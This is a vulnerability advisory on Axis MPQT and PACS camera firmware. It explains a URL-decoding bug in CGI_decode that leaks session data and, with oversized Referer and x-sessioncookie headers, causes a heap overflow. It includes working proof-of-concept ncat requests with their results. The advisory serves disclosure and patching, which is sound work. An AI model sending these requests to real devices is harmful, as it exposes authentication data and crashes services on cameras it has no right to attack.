Subject: Axis Communications MPQT/PACS Heap Overflow and Information Leakage.

Attack vector: Remote
Authentication: Anonymous (no credentials needed)
Researcher: bashis <mcw noemail eu> (August 2017)
PoC: https://github.com/mcw0/PoC
Release date: December 1, 2017
Full Disclosure: 90 days (due to the large volume of affected devices)

heap: Non-Executable + ASLR
stack: Non-Executable + ASLR

Axis Vulnerability ID: ACV-120444

Vulnerable: MPQT series < v7.20.x/6.50.1.2
Not vulnerable: MPQT series > v7.30/6.50.1.3 (Releases from September to November 2017)

Vulnerable: PACS series < v1.30.0.2/1.60.0/1.10.0.2/1.65.1
Not vulnerable (Releases from October to November 2017):

1. Information leak; All MPQT and PACS (Exist actually from v4.x Firmware)
2. Heap Overflow; MPQT and PACS with Apache Web Server (cannot be triggered with Boa Web \
Server)

[Note]
The best way to find a fixed FW is to check the Axis advisory and look for 'ACV-120444' in the \
release notes. https://www.axis.com/global/en/support/firmware

-[General Information]-
"CGI_decode" in /usr/lib/libcgiparser.so suffers from a bug in the handling URL decode of \
'%xx'. The CGI_decode does not check the size of what it is about to decode, it always assumes \
"%" plus two chars.

By supplying only one single '%', 'CGI_decode' will try to URL decode [% + NULL + Next char], \
which lead to the return of a longer string than expected as the new string will be read until \
the next NULL. ([NULL string termination + Next char] are replaced with one '?')

-[Information leakage]-

The "%"" in "GET /index.shtml?size=%"" triggers both "information disclosure" and "heap \
overflow", depending on how it will be used.

[PoC] (see the breakpoint with the 'AAAA' in the 'Result')
$ echo -en "GET /index.shtml?size=AAAA% HTTP/1.0\n\n" | ncat -v 192.168.57.20 80

[Result]
...
      var completePath = "imagepath=" + encodeURIComponent(imagepath) + \
"&size=AAAA?http_user=anonymous&http_remote_addr=192.168.57.1&http_remote_port=44019&http_port=8 \
0&http_scheme_addr=http://http&http_protocol=http&www_authenticate_header=WWW-Authenticate:%20Di \
gest%20realm=%22_%22,%20nonce=%22pP/WaqNeBQA=884e58ea2563f69a14215a33ca02efa68eeca126%22,%20algorithm=MD5,%20qop=%22auth%22";
                
...


-[Heap Overflow]-

To trigger the heap overflow we need to send ~20KB amount of data that would normally not be \
accepted by the Web server. The way around this is to use 'Referer:' and 'x-sessioncookie', \
where we can send max 8162 bytes in each of them.

[Note]
Without the information leakage bug above, the realloc() will never be triggered regardless how \
much data is sent.

[PoC]
$ echo -en "GET /index.shtml?size=% HTTP/1.0\nReferer: `for((i=0;i<8162;i++));do echo -en \
"\x22";done`\nx-sessioncookie: `for((i=0;i<2157;i++));do echo -en "\x22";done`\n\n" | ncat -v \
192.168.57.20 80

[Result]
/var/log/info.log
2017-05-08T08:22:23.801+00:00 axis [ INFO    ] ssid[3337]: *** Error in `/bin/ssid': realloc(): \
invalid next size: 0x00bfda50 ***

-[Vulnerable binaries]-

/bin/ssid (Server Side Include Daemon)
/bin/urldecode (URL Command Line Tool)
/usr/bin/dynamic_overlayd (Dynamic Overlay Daemon)
/usr/bin/wsd (Web Service Dispatch Daemon)
/usr/html/axis-cgi/param.cgi (VAPIX Parameter Management)

/usr/lib/libwsevent.so
/usr/lib/libcgiparser.so (<= with the vulnerable function 'CGI_decode()', used in above \
binaries)

Have a nice day
